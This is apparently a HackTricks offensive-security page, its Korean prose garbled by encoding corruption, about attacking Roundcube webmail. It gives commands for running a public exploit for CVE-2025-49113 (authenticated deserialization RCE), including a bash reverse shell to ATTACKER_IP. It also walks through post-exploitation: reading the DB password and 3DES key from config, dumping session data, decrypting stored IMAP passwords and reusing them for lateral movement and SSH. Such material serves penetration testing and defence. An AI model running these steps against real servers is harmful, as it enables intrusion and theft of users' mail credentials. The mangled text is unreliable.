Roundcube
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ฐ์
Roundcube๋ ์ผ๋ฐ์ ์ผ๋ก HTTP(S) vhosts(์: mail.example.tld)์ ๋ ธ์ถ๋๋ PHP webmail ํด๋ผ์ด์ธํธ์ ๋๋ค. ์ ์ฉํ fingerprints:
- HTML ์์ค๋ ์ข ์ข leaks rcversion (e.g., window.rcmail && rcmail.env.rcversion)
- ์ปจํ ์ด๋/VM์ ๊ธฐ๋ณธ ์ฑ ๊ฒฝ๋ก: /var/www/html/roundcube
- ์ฃผ์ ์ค์ ํ์ผ: config/config.inc.php
Authenticated RCE via PHP object deserialization (CVE-2025-49113)
Affected versions (per vendor/NVD):
- 1.6.x before 1.6.11
- 1.5.x before 1.5.10
๋ฒ๊ทธ ์์ฝ
- program/actions/settings/upload.php์ _from ํ๋ผ๋ฏธํฐ๋ ๊ฒ์ฆ๋์ง ์์ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๋ฐ์ดํฐ๋ฅผ ์ฃผ์ ํ ์ ์์ต๋๋ค. Roundcube๋ ์ดํ ์ด ๋ฐ์ดํฐ๋ฅผ unserializeํ์ฌ gadget chain ์คํ ๋ฐ ์น ์ปจํ ์คํธ์์์ remote code execution (postโauth)์ผ๋ก ์ด์ด์ง๋๋ค.
๋น ๋ฅธ ์ต์คํ๋ก์
- ์๊ตฌ ์ฌํญ: ์ ํจํ Roundcube ์๊ฒฉ์ฆ๋ช ๊ณผ ์ ๊ทผ ๊ฐ๋ฅํ UI URL(์: http://mail.target.tld)
- ๊ณต๊ฐ PoC๋ ์ธ์ ์ฒ๋ฆฌ, gadget crafting ๋ฐ ์ ๋ก๋ ํ๋ก์ฐ๋ฅผ ์๋ํํฉ๋๋ค
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD
# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"
# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"
๋ ธํธ
- ์ถ๋ ฅ์ ์ข ์ข ๋ณด์ด์ง ์์ต๋๋ค; RCE๋ฅผ ํ์ธํ๋ ค๋ฉด sleep N์ ์ฌ์ฉํ์ธ์
- ์์ฑ๋ ์ ธ์ ์ผ๋ฐ์ ์ผ๋ก www-data๋ก ์คํ๋ฉ๋๋ค; ์ปจํ ์ด๋ํ๋ ๋ฐฐํฌ์์๋ /.dockerenv ๋ฐ 172.17.0.0/16 ๋คํธ์ํฌ๋ฅผ ์์ํ์ธ์
Postโexploitation: Roundcube ์ธ์ ์์ IMAP ๋น๋ฐ๋ฒํธ ๋ณต๊ตฌ
Roundcube๋ ํ์ฌ ์ฌ์ฉ์์ IMAP ๋น๋ฐ๋ฒํธ๋ฅผ ์ธ์ (database)์ ์ ์ฅํ๋ฉฐ, config.inc.php์ ์ค์ ๋ ์๋ฒโ์ธก 3DES ํค๋ก ์ํธํ๋์ด ์์ต๋๋ค. Roundcube ํธ์คํธ์์ filesystem ๋๋ DB ์ ๊ทผ ๊ถํ์ด ์์ผ๋ฉด ํ๋ฌธ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณต๊ตฌํ๊ณ ๋ค๋ฅธ ๋ฉ์ผ๋ฐ์ค/services๋ก pivotํ ์ ์์ต๋๋ค (SSH ์ฌ์ฌ์ฉ์ด ํํจ).
- config์์ DB DSN๊ณผ 3DES ํค ์ฝ๊ธฐ
config/config.inc.php typically contains:
$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24โbyte key (3DES)
- DB์ ์ฐ๊ฒฐํ์ฌ sessions๋ฅผ dump
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube
mysql> SELECT id, created, changed, vars FROM session\G
session.vars ํ๋๋ Roundcubeโs encrypt(): Base64( IV || 3DES-CBC(plaintext) )๊ฐ ์์ฑํ Base64 ๋ธ๋กญ์ ๋๋ค. Base64โdecoding ํ ์ฒซ 8๋ฐ์ดํธ๊ฐ IV์ ๋๋ค.
- ๋น๋ฐ๋ฒํธ ํ๋ ์ฐพ๊ธฐ
๋ณตํธํ๋ ๊ตฌ์กฐ ์์์ ์๊ฒฉ ์ฆ๋ช ์ ๋น ๋ฅด๊ฒ ์ฐพ์๋ด๋ ๋ฐฉ๋ฒ์ ๋จผ์ vars field๋ฅผ Base64โdecodeํ๊ณ ์ง๋ ฌํ๋ ํญ๋ชฉ์ ์ก์์ผ๋ก ์ดํด๋ณด๋ ๊ฒ์ ๋๋ค:
echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
- Roundcube์ helper๋ฅผ ์ฌ์ฉํด Decrypt
Roundcube๋ ๊ฐ์ rcmail->decrypt() ๋ก์ง๊ณผ ๊ตฌ์ฑ๋ des_key๋ฅผ ์ฌ์ฉํ๋ CLI๋ฅผ ์ ๊ณตํฉ๋๋ค:
cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
- ์๋ 3DES-CBC ๋ณตํธํ (์ ํ)
- Ciphertext format: Base64( IV(8B) || CT )
- Alg: 3DES-CBC, key length 24B, PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv
์ผ๋ฐ ์์น
- DB ํ ์ด๋ธ: session (users ํ ์ด๋ธ์ ๋ก๊ทธ์ธ ์ด๋ฆ์ ID๋ก ๋งคํ)
- ์ค์ ๊ฒฝ๋ก: /var/www/html/roundcube/config/config.inc.php
์ด์ ์ ์ฌ์ฉ
- ์ด์ session ํ์๋ ๊ณผ๊ฑฐ ์ฌ์ฉ์์ IMAP passwords๊ฐ ํฌํจ๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค; ์ฌ๋ฌ ํญ๋ชฉ์ decryptํ์ฌ ๋ค๋ฅธ mailboxes๋ก laterally move ํ์ธ์
- credential reuse๊ฐ ์์ฌ๋๋ฉด ๋ณต๊ตฌํ credentials๋ฅผ SSH ๋๋ ๋ค๋ฅธ ์๋น์ค์ ๋ํด ์๋ํด๋ณด์ธ์
์ฐธ๊ณ ์๋ฃ
- Roundcube security updates 1.6.11 and 1.5.10
- CVE-2025-49113 โ NVD
- FearsOff research notes on Roundcube deserialization/RCE
- hakaioffsec/CVE-2025-49113-exploit (PoC)
- Roundcube bin/decrypt.sh helper
- HTB Outbound โ 0xdf writeโup (Roundcube 1.6.10 โ RCE โ session decrypt pivot)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


